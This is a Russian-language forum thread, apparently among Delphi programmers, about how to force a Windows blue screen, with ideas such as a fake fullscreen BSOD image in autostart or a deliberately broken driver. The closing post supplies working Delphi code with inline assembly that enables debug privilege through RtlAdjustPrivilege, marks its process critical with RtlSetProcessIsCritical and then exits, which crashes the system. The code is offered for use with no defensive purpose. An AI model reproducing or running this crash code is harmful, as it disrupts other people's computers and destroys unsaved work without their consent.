если рассматривать вариант:
поставить синий экран, как картинку, засунуть в автозапуск... но как сделать, чтобы она была полностью на весь экран (чтобы даже не было возможности увидеть правый красный крестик закрытия этой формы)

Простой способ вызвать синий экран - помудрить с драйверами.

Да. Действительно. Можно написать простейший ничего не делающий драйвер. И в нём допустить пару ошибок. И при загрузке драйвера вылезет BSOD. Как на Делфи это сделать я не знаю. Можно попробовать на ассемблере.

как ты его закроешь, его же вроде можно убить только из нулевого кольца?

В безопасном я не тестил,что 90%,что будет.

Marra_Kesh,
Вот переписал твой код на Delphi

view plaincopy to clipboardprint?
   
 var   
   Form1: TForm1;   
   function RtlSetProcessIsCritical(unu:DWORD;   
                    proc:POinter;   
                    doi:DWORD   
                    ):LongInt;stdcall;   
                    external 'ntdll.dll';   
   function RtlAdjustPrivilege(Privilege: ULONG;   
                    Enable: BOOL;   
                    CurrentThread: BOOL;   
                    out OldPrivilege: BOOL   
                    ): DWORD; stdcall;   
                    external 'ntdll';   
 procedure TForm1.Button1Click(Sender: TObject);   
 begin   
 asm   
   lea eax, dword [esp+12]   
   //invoke RtlAdjustPrivilege, 20, 1, 0, eax   
   push eax   
   push 0   
   push 1   
   push 20   
   call RtlAdjustPrivilege   
   //invoke RtlSetProcessIsCritical, 1, 0, 0   
   push 0   
   push 0   
   push 1   
   call RtlSetProcessIsCritical   
   call ExitProcess   
 end;     
 end;